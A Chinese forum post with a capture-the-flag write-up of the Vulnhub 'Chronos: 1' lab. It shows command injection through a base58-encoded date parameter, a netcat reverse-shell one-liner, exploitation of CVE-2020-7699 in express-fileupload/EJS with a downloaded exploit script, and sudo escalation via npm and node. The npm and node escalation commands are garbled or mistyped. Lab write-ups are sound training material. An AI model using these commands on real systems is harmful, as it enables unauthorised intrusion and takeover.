回答

收藏

Vulnhub 靶机篇:Chronos: 1

HG021B HG021B 3626 人阅读 | 0 人回复 | 2024-04-21

0x01 靶机信息

  • 名称:Chronos: 1
  • 发布日期:2021 年 8 月 9 日
  • 作者:AL1ENUM
  • 系列:Chronos
  • 难度:中等
  • 简介:这对于 VirtualBox 而不是 VMware 效果更好。
  • 下载链接https://download.vulnhub.com/chronos/Chronos.ova
  • MD5:30DAD56028D2AAAD047391E76BE64F9C
  • 网络:DHCP自动分配

0x02 Write-Up

2.1 主机扫描

靶机IP:192.168.3.22

使用工具TXPortMap(https://github.com/4dogs-cn/TXPortMap)扫描主机

扫描出网站开放了22,80,8000端口,网站采用了apache和Express架构,SSH版本为2.0

index.png

2.2 观察网站

访问主页

index-1.png

访问8000端口,页面显示Date&Time

index-2.png

查看网页元素,其中有一串(/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL)类似路径

index-3.png

2.2.1 发现OPTIONS请求

利用burp查看具体参数

index-4.png

OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
OPTIONS获取当前URL所支持的方法
Access-Control-Request-Method: GET
请求方法为GET
Access-Control-Request-Headers: user-agent
请求会携带头部字段:user-agent

直接访问路径被拒绝

index-5.png

2.2.2 根据OPTIONS内容调整参数访问

结合OPTIONS的内容,可能是传过去的user-agent不符合要求,重点关注

观察80端口页面,发现一个跨域请求,域名:chronos.local,User-Agent:Chronos

index-6.png

添加解析到hosts文件

index-7.png

重新访问(http://chronos.local),主页出现了日期和时间,说明之前的请求成功了

index-8.png

在网页流量中可以看到请求成功,User-Agent:Chronos

index-9.png

在8000端口,直接使用域名访问失败,下一步修改Agent

index-10.png

index-11.png

index-12.png

访问成功

index-13.png

2.2.3 将date的传参解码

使用(https://www.dcode.fr/cipher-identifier)cipher解码

内容4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,识别为base58

index-14.png

同时解码内容为'+Today is %A, %B %d, %Y %H:%M:%S.',是执行date命令的参数

index-15.png

2.3 利用命令执行反弹shell

2.3.1 测试传参

尝试利用;独立执行新的命令
; ls -l
base58编码后:3ExVpXJqdV

(http://www.metools.info/code/c74.html) MeTools工具

index-18.png

执行成功,可以看到有个www-data用户

index-16.png

2.3.2 反弹shell

在kali中开启监听端口

nc -lvvp 4444

index-17.png

反弹语句:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.3.23 4444>/tmp/f
base58 :3rqRK5HNRart7G6euj73LHosixYeKbLr13V6UbRvyosw342VHcRsWoA9phAm8PQmDfWYawXHoYGbmdc56tRJ7bfFu1wgv5vMUHuGC5UG9rF2gHb

index-19.png

反弹成功

index-20.png

2.3.4 发现chronos-v2目录

在opt目录下发现chronos-v2目录,具有上传功能

index-21.png

开在本地8080端口

index-22.png

2.4 利用NodeJS模块代码注入提权

查找到在express-fileupload": "^1.1.7-alpha.3"中存在NodeJS模块代码注入(CVE-2020-7699),借用一张图表示

由于express-fileupload 具有“parseNested”特征。当“parseNested”选项启用时,它负责将上传的 JSON 数据“扁平化 (flatten)”为嵌入式对象。

如果我们将{“a.b.c”}作为输入,则在内部它将被用作{“a”:{“b”:{“C”:true}}}。

假设你的应用程序正在使用 EJS 解析上传的数据,而没有执行额外的检查,那么攻击者就能够利用'__proto__.outputFunctionName'发送HTTP请求,覆写 EJS 的“outputFunctionName”选项。

index-23.png

kali下载利用脚本(https://github.com/boiledsteak/EJS-Exploit

git clone https://github.com/boiledsteak/EJS-Exploit.git

index-24.png

修改脚本内IP和端口

index-25.png

kali 开启http服务传输脚本

python3 -m http.server 80

index-26.png

同时在另一侧开启5555端口侦听

nc -lvnp 5555

index-27.png

目标机下载脚本

wget http://192.168.3.23/EJS-RCE-attack.py

index-28.png

利用python3运行脚本

index-29.png

2.4.1 得到imera用户的flag

获得imera用户权限

index-30.png

找到user's flag---byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

index-31.png

2.5 root提权

sudo -l
查看当前用户拥有的root执行权限

index-32.png

思路一:利用npm提权

npm的利用是失败的,利用https://gtfobins.github.io/gtfobins/npm/的语句
TF=$(mktemp -d)  
echo '{"scripts": {"preinstall": "/bin![](file:///C:\Users\12936\AppData\Roaming\Tencent\QQTempSys\VJF%JZ05B[YH0`[V%7ZB2[N.gif)"}}' > $TF/package.json  
sudo npm -C $TF --unsafe-perm i

index-33.png

思路二:利用node提权

sudo node -e  'require("child process").spaw("/bin/sh", stdio: [0, 1, 2]1)'

index-34.png

提权成功

index-35.png

获得root's flag

index-36.png

分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

138 积分
16 主题